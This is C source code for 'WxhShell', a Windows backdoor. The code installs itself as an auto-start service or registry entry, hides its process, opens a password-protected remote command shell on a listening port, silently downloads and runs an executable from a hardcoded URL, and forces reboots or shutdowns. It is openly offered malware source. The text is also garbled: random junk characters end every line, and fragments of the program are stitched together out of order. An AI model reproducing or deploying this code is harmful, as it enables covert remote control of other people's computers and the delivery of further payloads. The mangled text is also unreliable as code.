    if(Boot(SHUTDOWN)) >J_{mU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O#  .^}  
    else { '%_1eaH  
    closesocket(wsh); 1sl^+)z8  
    ExitThread(0); J]UlCg  
    } %_0,z`f  
    break; bj\v0NKN4  
    } {_0Efc=7  
  // 获取shell #H{<nVvg^  
  case 's': { JZ  Qkr  
    CmdShell(wsh); ] e!CH <N  
    closesocket(wsh); c9-$t d&  
    ExitThread(0); Rp `JF}~o  
    break; ?v-IN  
  } 7F;"=DarOE  
  // 退出 ]:i :QiYD  
  case 'x': { i>HipD,TD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7 Bm 18  
    CloseIt(wsh); /%EKq+ZP  
    break; MH[Zw$  
    } C9E l {f  
  // 离开 )A:2y +  
  case 'q': { |:$D[=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y3F13 Z@%  
    closesocket(wsh); [_hHZMTH  
    WSACleanup(); @qmONQ eb  
    exit(1); TU&6\]yF_  
    break; S8*VjG?T\  
        } ("0@_05OH  
  } dya]^L}fL  
  } T=35?   
9w'3d @  
  // 提示信息 06"p ^#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !<H[h4g  
} m(>_C~rGN  
  } Xt~`EN  
4o8uWS{`  
  return; 5W"nn  
} mA}-hR%  
Q}FDu,  
// shell模块句柄 J\<7M8   
int CmdShell(SOCKET sock) 0* < gGC  
{ L@2%a'  
STARTUPINFO si; ,C2qP3yg  
ZeroMemory(&si,sizeof(si)); ^8$CpAK]M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]y3V ^W#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RmxgCe(2a  
PROCESS_INFORMATION ProcessInfo; pW7vY)hj  
char cmdline[]="cmd"; Z]DO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CXks~b3SD  
  return 0; g66=3c9</6  
} x^Tjs<#  
@GqPU,RO  
// 自身启动模式 1{4d)z UB  
int StartFromService(void) *T"JO |  
{ c|3%0=,`  
typedef struct Hy5_iYP5  
{ C=(-oI n  
  DWORD ExitStatus; F+,X%$A#?  
  DWORD PebBaseAddress; JW9^C  
  DWORD AffinityMask; ,X(P/x{B  
  DWORD BasePriority; ((^jyQ  
  ULONG UniqueProcessId; !|_b}/  
  ULONG InheritedFromUniqueProcessId; SQ| pH"  
}   PROCESS_BASIC_INFORMATION; wLC!vX.S  
wH=  
PROCNTQSIP NtQueryInformationProcess; 4@OnMj{M  
 G7 >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rs {e6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A!Zjcp|  
V#[I/D  
  HANDLE             hProcess; UMwB.*  
  PROCESS_BASIC_INFORMATION pbi; pA)!40kz  
$ r|R`n=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NLFs)6\  
  if(NULL == hInst ) return 0; GdG1e%y]z  
$fhrGe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8v@6 &ras@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B3K!>lz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S>}jsP:V  
IGv_s+O-*  
  if (!NtQueryInformationProcess) return 0; *k==2figz  
g]85[xz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )hm U/E@  
  if(!hProcess) return 0; geU-T\1[l  
i3t=4[~oL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <GPL8D  
~R/w~Kc!/A  
  CloseHandle(hProcess); $V-]DD%Y  
r_p9YS@I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r9z_8#cR  
if(hProcess==NULL) return 0; 6~zR(HzV{  
,\!4 A  
HMODULE hMod; 7IW:,=Zk8+  
char procName[255]; ;'l Hw]}O*  
unsigned long cbNeeded; pxjN\q  
5x?eu n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w]]`/`  
d=V4,:=S  
  CloseHandle(hProcess); W[PZQCL}K)  
@Tb T  
if(strstr(procName,"services")) return 1; // 以服务启动 9|WBJ6  
yLCqlK  
  return 0; // 注册表启动 zy`4]w$Lj+  
} fv$Y&_,5  
c nvxTI<  
// 主模块 *zeY<6  
int StartWxhshell(LPSTR lpCmdLine) {dvrj<?  
{ J XKps#,(#  
  SOCKET wsl; _?>!Bz m  
BOOL val=TRUE; 4NN-'Z>a  
  int port=0; ms'&.u&<  
  struct sockaddr_in door; =o\ :@I[  
u{0+w\xH\  
  if(wscfg.ws_autoins) Install(); kwNXKn/   
[M_pf2Y  
port=atoi(lpCmdLine); !P/ ]o  
 =<fH RX`  
if(port<=0) port=wscfg.ws_port; H6E@C}cyM  
,Hh7' `  
  WSADATA data; ^@l_K +T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f Z$<'(t  
/]%,C   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u^a\02aV[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cw.Uy(ks|$  
  door.sin_family = AF_INET; ?GqFtNz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uA=6 HpDB  
  door.sin_port = htons(port); y?O{J!U  
2+" =i/8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .O @bX)  
closesocket(wsl); G}ElQD  
return 1; 1<A+.W  
} fHvQ9*T  
f/Km$#xOr  
  if(listen(wsl,2) == INVALID_SOCKET) { jENarB^As  
closesocket(wsl); cd{3JGg B  
return 1; 8yz A W&q  
} GDw4=0u-  
  Wxhshell(wsl); )|,-l^lC  
  WSACleanup(); Gp9 >R~$  
{YZ)IaqZ  
return 0; C.L5\"%  
,{ CgOz+Ul  
} VOwt2&mZ  
?2[=llS4  
// 以NT服务方式启动 fOiLb.BW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k/AcXU%O+  
{ l2GMVAca  
DWORD   status = 0; $D5[12X  
  DWORD   specificError = 0xfffffff; Na: M1Uhb  
-cyJj LL*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A> +5~u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T[xGF/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FW#Lf]FJ  
  serviceStatus.dwWin32ExitCode     = 0; -aG( Yx  
  serviceStatus.dwServiceSpecificExitCode = 0; Y>t*L#i  
  serviceStatus.dwCheckPoint       = 0; {l{p  
  serviceStatus.dwWaitHint       = 0; 8F($RnP3  
Lv,~Mf1|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7c!oFwM  
  if (hServiceStatusHandle==0) return; ~6U@*Svk  
3Zg=ZnF  
status = GetLastError(); S;NChu?8  
  if (status!=NO_ERROR) WhE5u&`  
{ yGgHd=?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `}k!SqG  
    serviceStatus.dwCheckPoint       = 0; <kn#`w1U'  
    serviceStatus.dwWaitHint       = 0; LW_ Y  
    serviceStatus.dwWin32ExitCode     = status; WzgzI/  
    serviceStatus.dwServiceSpecificExitCode = specificError; .Y'kDuUu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X^%I 3  
    return; COv#dOw  
  } %#Wg>6  
;w4rwL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V'c9DoSRI\  
  serviceStatus.dwCheckPoint       = 0; Fdd$Bl.&XS  
  serviceStatus.dwWaitHint       = 0; 8"wA8l.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "A__z|sQ  
} SAs'u"EB  
tnqW!F~  
// 处理NT服务事件,比如:启动、停止 /r@P\_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \|R`wFn^P  
{ QC~B8]  
switch(fdwControl) SynxMUlA  
{ YV-2es+Bd  
case SERVICE_CONTROL_STOP: W#e:rz8=  
  serviceStatus.dwWin32ExitCode = 0; r&}fn"H!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l*_b)&CH  
  serviceStatus.dwCheckPoint   = 0; IaE};8a8  
  serviceStatus.dwWaitHint     = 0; )ty *_@N0  
  { +<:p`%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gb@Rx  
  } |F<U;xV$p  
  return; cgYMo{R3  
case SERVICE_CONTROL_PAUSE: 9rB^)eV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y~=5umNSX  
  break; h1fJ`WT6,  
case SERVICE_CONTROL_CONTINUE: r-]R4#z>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @`}'P115@  
  break; M(Jf&h4b  
case SERVICE_CONTROL_INTERROGATE: DBCL+QHA  
  break; 9foQ0#R  
}; g%j z,|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s`C#=l4  
} dp)lHBV  
)~d2`1zGS  
// 标准应用程序主函数 ZeWHSU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TuIeaH%x  
{ 8i-?\VZD  
TW3:Y\p  
// 获取操作系统版本 wgLS9.  
OsIsNt=GetOsVer(); LU?#{dZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CvQ LF9|  
1Od: I}@  
  // 从命令行安装 =Z#tZ{"  
  if(strpbrk(lpCmdLine,"iI")) Install(); A6iyJFm D  
i=o>Bl@f  
  // 下载执行文件 <py~(q  
if(wscfg.ws_downexe) { b% $S6.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UeHS4cW  
  WinExec(wscfg.ws_filenam,SW_HIDE); C+5^[V  
} dUb(C1h  
L8bq3Q'p  
if(!OsIsNt) { "%f>/k;!h.  
// 如果时win9x,隐藏进程并且设置为注册表启动 OFRzzG@  
HideProc(); BD4.sd+H,  
StartWxhshell(lpCmdLine); xR#hU;E}  
} 7{<F6F^P  
else mqsf#'ri  
  if(StartFromService()) Om}&`AP};  
  // 以服务方式启动 7Fy^K;V"  
  StartServiceCtrlDispatcher(DispatchTable); D>G&aQ  
else s\7|b:y&  
  // 普通方式启动 F,:F9r?l,H  
  StartWxhshell(lpCmdLine); zztW7MG2lQ  
GrM~ %ng  
return 0; aOYd "S}u  
}  }O1F.5I1  
r`<e vwIe  
VKik8)/.  
r.K4<ly-N  
=========================================== Fof_xv9  
/E]4N=T  
ew`R=<mZ,7  
"A/kL@-C  
, R^Pk6m>  
,{oP`4\Lm  
" W_sDF; JP  
"X]u fZ7  
#include <stdio.h> //LXbP3/  
#include <string.h> ;V@} oD+  
#include <windows.h> 8L=QfKr  
#include <winsock2.h> x<ENN>mW1  
#include <winsvc.h> :A[bqRqe  
#include <urlmon.h> ww\/$ |  
k*!J,/=k  
#pragma comment (lib, "Ws2_32.lib") [dzb{M6_  
#pragma comment (lib, "urlmon.lib") b7>;UX  
'6/uc:zv  
#define MAX_USER   100 // 最大客户端连接数 ~NTpMF  
#define BUF_SOCK   200 // sock buffer aD&10b9`  
#define KEY_BUFF   255 // 输入 buffer efbt\j6@%2  
vG\Wr.h0!=  
#define REBOOT     0   // 重启 gdT^QM:y4$  
#define SHUTDOWN   1   // 关机 x_@ev-  
fmSw%r|pT  
#define DEF_PORT   5000 // 监听端口 $C[YqZO  
a,j!B hu  
#define REG_LEN     16   // 注册表键长度 eQ9x l  
#define SVC_LEN     80   // NT服务名长度 *Lh0E/5  
6B+ @76wH  
// 从dll定义API -%t0'cKn,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n[iil$VKh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5;|9bWH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1qQgAhoY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hD$U8~zK  
)(ma  
// wxhshell配置信息 Gf%o|kX]  
struct WSCFG { s-C.+9  
  int ws_port;         // 监听端口 M?\)&2f[Z  
  char ws_passstr[REG_LEN]; // 口令 F~DG:x~  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ffhbs D  
  char ws_regname[REG_LEN]; // 注册表键名 u j:w^t ][  
  char ws_svcname[REG_LEN]; // 服务名 ol YSr .Q`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vy/g;ZPU1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +s S*EvF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?%LD1 <ya  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J]~fv9~P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =x^I 5Pn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -B4v1{An  
rmhCuY?f  
}; n!N;WL3k  
zm~~mz A  
// default Wxhshell configuration Vm.u3KE  
struct WSCFG wscfg={DEF_PORT, ]{"(l(  
    "xuhuanlingzhe", c:$:j,i}  
    1, 9|e"n|[  
    "Wxhshell", _*;cwMne-  
    "Wxhshell", FVD}9ia  
            "WxhShell Service", 6?a(@<k_  
    "Wrsky Windows CmdShell Service", (Dn-vY'  
    "Please Input Your Password: ", .(hb8 rCM  
  1, %fyb?6?Y  
  "http://www.wrsky.com/wxhshell.exe", CTI(Kh+  
  "Wxhshell.exe" ^Qr P.l#pZ  
    }; -s)2b ;  
-w2g a1  
// 消息定义模块 I|ULf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lhc@*_2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |knP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mb9q<4  
char *msg_ws_ext="\n\rExit."; y k5P/H)  
char *msg_ws_end="\n\rQuit."; $e;!nI;z  
char *msg_ws_boot="\n\rReboot..."; )N6R#   
char *msg_ws_poff="\n\rShutdown..."; g764wl  
char *msg_ws_down="\n\rSave to "; QbNv+Eu5  
|l? ALP_g  
char *msg_ws_err="\n\rErr!"; 'wZy: c  
char *msg_ws_ok="\n\rOK!"; bOFLI#p&  
2l SM`cw  
char ExeFile[MAX_PATH]; XH2 SEeh  
int nUser = 0; _Pz3QsV9  
HANDLE handles[MAX_USER]; ~^euaOFU 6  
int OsIsNt; -#o+x Jj  
R] [M_ r  
SERVICE_STATUS       serviceStatus; %<"11;0tp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /j)VES  
6m" 75  
// 函数声明 G9a%N  
int Install(void); bc4x"]!  
int Uninstall(void); wW<"l"x,  
int DownloadFile(char *sURL, SOCKET wsh); 'f}S ,i +q  
int Boot(int flag); .apX72's,  
void HideProc(void); (XwLKkw0n  
int GetOsVer(void); pzax~Vp  
int Wxhshell(SOCKET wsl); Gh|!FRK[$  
void TalkWithClient(void *cs); =zjUd  5  
int CmdShell(SOCKET sock); }H#t( 9,U  
int StartFromService(void); &v-V_.0(H  
int StartWxhshell(LPSTR lpCmdLine); (rG1_lUDu  
)c'>E4>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |Hm'.-   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SN{*:\>,  
f0`' i[  
// 数据结构和表定义 U>+~.|'V9  
SERVICE_TABLE_ENTRY DispatchTable[] = DqMK[N,0  
{ pG( knu  
{wscfg.ws_svcname, NTServiceMain}, W^ :/0WR  
{NULL, NULL} c9 uT`h  
}; ~0-764%  
M&ij[%i  
// 自我安装 W #L"5pRg  
int Install(void) J=X% xb  
{ '^l^gW/|\  
  char svExeFile[MAX_PATH]; YU=ZZEVi  
  HKEY key; SO<m(o)G2  
  strcpy(svExeFile,ExeFile); iHn!KV  
b H?qijrC  
// 如果是win9x系统,修改注册表设为自启动 dl6v <  
if(!OsIsNt) { H 1D;:n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' f$L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7F(F.ut  
  RegCloseKey(key); -?nT mzRc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ij(4)=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0['"m^l0S  
  RegCloseKey(key); bez'[Y{  
  return 0; R5eB,FN  
    } -t 6R!ZI  
  } p,iCM?[|  
} q83~j `ZJ$  
else { {* j^g6;  
r^A#[-VyNP  
// 如果是NT以上系统,安装为系统服务 ~BvY8\@B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9V;$v  
if (schSCManager!=0) Nr24[e G>d  
{ >_`D3@Rz  
  SC_HANDLE schService = CreateService ,![Du::1  
  ( P$3=i`X!nw  
  schSCManager, w2d]96*kQe  
  wscfg.ws_svcname, ?JgO-.  
  wscfg.ws_svcdisp, d{yIy'+0/  
  SERVICE_ALL_ACCESS, >4/L-y+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qggk:cN1  
  SERVICE_AUTO_START, }@14E-N=  
  SERVICE_ERROR_NORMAL, >HPvgR/#BY  
  svExeFile, $% Ci8p  
  NULL, 3kiE3*H  
  NULL, n#>.\F  
  NULL, /c@*eU  
  NULL, V3mjb H>F  
  NULL sLG>>d3R1  
  ); @fqV0l!GR  
  if (schService!=0) WQ[}&kY~  
  { wb6L? t  
  CloseServiceHandle(schService); rX33s  
  CloseServiceHandle(schSCManager); A<SOT>m]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5L-lpT8P  
  strcat(svExeFile,wscfg.ws_svcname); d&|z=%9xl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { heL$2dZ5H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]<kupaRQ  
  RegCloseKey(key); X,TTM,1w  
  return 0; b96t0w!cs  
    } u C,"5C  
  } ]C16y. ~e  
  CloseServiceHandle(schSCManager); ;&Bna#~B  
} ]V36-%^  
} ><NI'q*cQ  
t7w-TJvP  
return 1; VG_uxKY  
} -)1-~7 r  
khU6*`lQ  
// 自我卸载 7/H^<%;y  
int Uninstall(void) fJN*s  
{ DX}B0B  
  HKEY key; TGU:(J'^  
TB7>s~)47E  
if(!OsIsNt) { v B h;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ih.rC>)rx  
  RegDeleteValue(key,wscfg.ws_regname); d_Q*$Iz)3  
  RegCloseKey(key); qWsylC23  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m\>|C1oRy  
  RegDeleteValue(key,wscfg.ws_regname); @#RuSc  
  RegCloseKey(key); gNShOu  
  return 0; M|\^UF2e  
  } Y3-gUX*w0  
} 1T ( u  
} IY=/` g  
else { *YWk1Cwjo  
Ntb:en!X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aaDP9FW9e  
if (schSCManager!=0) GCDwWCxh  
{ wV(AT$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X1+ wX`f  
  if (schService!=0) N0i!l|G6  
  { .it#`Yz;  
  if(DeleteService(schService)!=0) { JVtQ ,oZ  
  CloseServiceHandle(schService); &FSmqE;@^  
  CloseServiceHandle(schSCManager); +`@M*kd  
  return 0; HPg3`Ul  
  } oM!xz1kVL  
  CloseServiceHandle(schService); 0}{'C5  
  } {_?rh,9q  
  CloseServiceHandle(schSCManager); x2co>.i  
} H~noJIw#  
} ^$v3eKA  
~ 3^='o  
return 1; ]hA,LY f  
} NYwR2oX  
G8nrdN-9  
// 从指定url下载文件 .`jo/,?+O  
int DownloadFile(char *sURL, SOCKET wsh) tF*szf|$-  
{ QT! 4[,4  
  HRESULT hr; A4.4Dji,x  
char seps[]= "/"; *O,H5lwU  
char *token; @@@=}!<H=  
char *file; =pcF:D#+  
char myURL[MAX_PATH]; &?0:v`4Y  
char myFILE[MAX_PATH]; s,6`RI%  
y}FZD?"  
strcpy(myURL,sURL); )KE [!ofD  
  token=strtok(myURL,seps); |?d#eQ9a  
  while(token!=NULL) {`(>O"_[Q  
  { {o0qUX>[  
    file=token; ^Dg <Ki  
  token=strtok(NULL,seps); sV/l5]b]  
  } O:'?n8rWL  
+vW)vS[  
GetCurrentDirectory(MAX_PATH,myFILE); :w`3cw Q  
strcat(myFILE, "\\"); l.`u5D  
strcat(myFILE, file); f$.?$  
  send(wsh,myFILE,strlen(myFILE),0); 0fm*`4Q  
send(wsh,"...",3,0); Fk "Ee&H)(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ Vw9  
  if(hr==S_OK) RBwO+J53y  
return 0; FdzNE  
else n(1')?"mA  
return 1; 08s_v=cF  
lx |5?P  
} ,E;;wdIt  
)?=YT  
// 系统电源模块 BHA923p?  
int Boot(int flag) ]5 Qy  
{ ,1oQ cC  
  HANDLE hToken; 8j5<6Cv_  
  TOKEN_PRIVILEGES tkp; /ASaB  
v>Lm;q(  
  if(OsIsNt) { qJPT%r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {sVY`}p|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Wj^*L!  
    tkp.PrivilegeCount = 1; &Lm-()wb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7y^%7U \  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Yl4eB-  
if(flag==REBOOT) { ^Hrn  ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6"/WZmOp  
  return 0; $P z`$~  
} q[3x2sR  
else { i;z{zVR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^T5X)Nu{=C  
  return 0; h6_(?|:-(  
} 69m ;XdkKz  
  } s 5WqR 8  
  else { \Q~8?p+  
if(flag==REBOOT) {  Ea6 &~"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tZyo`[La  
  return 0; 2I/xJ+  
} $e1=xSQp4  
else { Cx<0 H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l<g5yYyf  
  return 0; 0 B@n{PvR0  
} {q%Sx*k9[  
} {@W93=Vq8  
.Jx9bIw  
return 1; h RC  
} =U8Ek;Drp  
);V2?G`/  
// win9x进程隐藏模块 S! Rc|6y%  
void HideProc(void) uhyj5u)  
{ VhL{'w7f  
A4C+5R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t.T UmJ  
  if ( hKernel != NULL ) H}hFFI)#Oo  
  { :bu>],d-8'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &;yH@@Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r;BT,jiX  
    FreeLibrary(hKernel); +mj*o(  
  } 7?j;7.i s(  
IU FH:w]  
return; M<O{O}t<  
} Vd^g9  
E`int?C!  
// 获取操作系统版本 W>_]dPBS/  
int GetOsVer(void) ?eH&'m}-  
{ "@R>J ?Cc+  
  OSVERSIONINFO winfo; )J]9 lW&y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $rIoHxh. y  
  GetVersionEx(&winfo); l^GP3S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k.<]4iS  
  return 1; 5=Xy,hmnC  
  else :Z`:nq.a  
  return 0; -fhN"B)  
} L`f^y;Y.  
U,#yqER'r  
// 客户端句柄模块 > fnh+M  
int Wxhshell(SOCKET wsl) 'c2W}$q  
{ De7T s  
  SOCKET wsh; =4V&*go*\  
  struct sockaddr_in client; *B`Zq)  
  DWORD myID; gE#>RM5D  
j',W 64  
  while(nUser<MAX_USER) k@zy  
{ v+p {|X-  
  int nSize=sizeof(client); d->|EJP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Chj T}  
  if(wsh==INVALID_SOCKET) return 1; `&\Q +W  
X%z }VA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +$4(zP s@  
if(handles[nUser]==0) dS^T$sz.co  
  closesocket(wsh); Vk< LJ S  
else |*Z$E$k:  
  nUser++; s { #3r  
  } Uc/+gz Z;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #/PAA  
afjtn_IB  
  return 0; !.2<| 24  
} 8.F~k~srA  
F, U*yj  
// 关闭 socket SGb;!T *  
void CloseIt(SOCKET wsh) =*p/F  
{ *8~86u GU  
closesocket(wsh); (c0A.L)  
nUser--; ;iDPn2?6?x  
ExitThread(0); N0hE4t  
} ::_i@r  
\RNg|G  
// 客户端请求句柄 /Mb"V5S(W  
void TalkWithClient(void *cs) %%(R@kh9  
{ G\|,5HED  
&zs'/xv]  
  SOCKET wsh=(SOCKET)cs; DNGvpKY@  
  char pwd[SVC_LEN]; +`3!I  
  char cmd[KEY_BUFF]; V_plq6z  
char chr[1]; P[s8JDqu  
int i,j; fw ,\DFHO  
Aw&tP[N[  
  while (nUser < MAX_USER) { * #TUGfwy  
.<kqJ|SVi  
if(wscfg.ws_passstr) { KNH1#30 K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); THmb6^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u2 `b'R9  
  //ZeroMemory(pwd,KEY_BUFF); f~ }H  
      i=0; !i=nSqW  
  while(i<SVC_LEN) { 9UvXC)R1  
J2uZmEt  
  // 设置超时 N0#JOu}~  
  fd_set FdRead; %Uz(Vd#K  
  struct timeval TimeOut; =8U&[F  
  FD_ZERO(&FdRead); R<B7K?SxV~  
  FD_SET(wsh,&FdRead); 7GDHz.IX  
  TimeOut.tv_sec=8; kdGT{2u  
  TimeOut.tv_usec=0; ^eW}XRI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J\ e+}{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $9?cP`hmi  
5`f@>r?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &89 oO@5  
  pwd=chr[0]; 0uBl>A7qhn  
  if(chr[0]==0xd || chr[0]==0xa) { 2NB L}x  
  pwd=0; i<pk6rO1  
  break; mKYeD%Pm*  
  } 3sd"nR?aX  
  i++; odIZo|dv  
    } O%r;5kP  
@)SL_9  
  // 如果是非法用户,关闭 socket aZ\UrV4,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2t $j  
} @LJpdvb  
'M3">$N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 610D% F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WxF:~{  
aL\nT XakX  
while(1) { j <o3JV  
J,b&XD@m  
  ZeroMemory(cmd,KEY_BUFF); x W92ch+t  
Wb S4pdA  
      // 自动支持客户端 telnet标准   >[X{LI(_<<  
  j=0; 6~*9;!th  
  while(j<KEY_BUFF) { 4DTzSy:x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `"%T=w  
  cmd[j]=chr[0]; OgX6'E\E  
  if(chr[0]==0xa || chr[0]==0xd) { *5xJv  
  cmd[j]=0; $8a(veXd  
  break; *b]; |n{  
  } iOG[>u0h  
  j++; ?&Pg2]g<  
    } *cyeO*  
a ^%"7Ri  
  // 下载文件 [e1S^pI  
  if(strstr(cmd,"http://")) { s|D>-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W\18{mbuy  
  if(DownloadFile(cmd,wsh)) (ND4Q[*6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j;+?HbL  
  else Y"KE7>Jf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); umdG(osR  
  } f-r] |k  
  else { ;[a|9TPR  
<x!GE>sf+  
    switch(cmd[0]) { &.Zb,r$Y  
  ^ :F.  
